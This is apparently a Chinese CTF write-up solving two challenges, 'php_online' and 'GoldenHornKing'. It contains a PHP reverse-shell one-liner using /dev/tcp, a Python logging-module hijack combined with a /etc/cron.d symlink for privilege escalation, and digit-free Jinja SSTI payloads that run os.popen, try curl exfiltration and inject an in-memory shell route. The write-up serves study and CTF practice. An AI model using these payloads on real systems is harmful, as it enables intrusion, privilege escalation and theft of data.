php_online
查看源码
根据源码可知会创建我们随机八位数的目录 然后以nobody执行
我们可以弹个shell
<?php system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");?>
flag 只有root权限才能读
可以看到init.py是www-data用户运行的 然后导入了logging库
我们可以劫持logging库 直接创建一个logging/__init__.py劫持 获得wwwdata权限
首先创建logging目录
接着我们用软连接到计划任务的去提权
进入sandbox目录下
ln -s /etc/cron.d 12312312
接着我们从web目录进入12312312目录下 进行执行命令
写入计划任务 注意一定要有延时函数 不然会被秒删(源码有)
等一会就可以看见flag可读
GoldenHornKing
访问得到源码 注意最后is_special_access_granted = True 意思是题目环境只能执行一次 所以我们本地搭建好把这行代码删掉进行调试 发现本题没有回显 且过滤了数字 于是我们找到没有数字的payload
lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('curl dns').read()")
发现dns可以通 但不能外带 于是转换思路写文件
发现可以写 lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('curl dns>1.txt').read()")
但是访问不到 接着想到写内存马
之前做过国赛的sanic的 在跟源码的过程中也跟到了一些内存马
发现这个方法可以被我们重写
最后
lipsum.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].add_api_route('shell',lambda%20:__import__('os').popen('cat%20/fl*').read())")
访问shell路由得到结果
Comments | NOTHING